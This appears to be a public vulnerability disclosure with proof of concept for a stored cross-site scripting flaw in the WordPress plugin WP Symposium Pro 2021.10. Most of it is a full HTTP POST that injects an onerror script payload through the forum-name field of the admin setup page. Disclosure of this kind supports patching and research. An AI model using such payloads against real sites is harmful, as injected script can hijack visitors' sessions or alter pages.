WordPress WP Symposium Pro 2021.10 Cross Site Scripting

2021.11.14
Credit: Murat Demirci
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS) # Date: 11/11/2021 # Exploit Author: Murat DEMIRCI (@butterflyhunt3r) # Vendor Homepage: http://www.wpsymposiumpro.com/ # Software Link: https://wordpress.org/plugins/wp-symposium-pro/ # Version: 2021.10 # Tested on : Windows 10 #Description: WP Symposium Pro version 2021.10 plugin was exposed to stored cross site scripting vulnerability due to lack of sanitizing adding forum speciality and its "name" label. #Poc: POST /wordpress/wp-admin/admin.php?page=wps_pro_setup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/admin.php?page=wps_pro_setup Content-Type: application/x-www-form-urlencoded Content-Length: 129 Origin: http://localhost Connection: close Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Ca0ec8384ede32940d2b69f1082cc013aecf3e887a70485cb38229a405be8a12d; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1636654062; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Cd9daf69cf25e68a3ed54d94c4baa78d20f9772e986211e25656dd832aac6e544 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 wpspro_quick_start=forum&wps_admin_forum_add_name=%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&wps_admin_forum_add_description=test ---------------------------------------------------------------------------------- ## After adding new forum, click created forum and pop-up will be on the screen.


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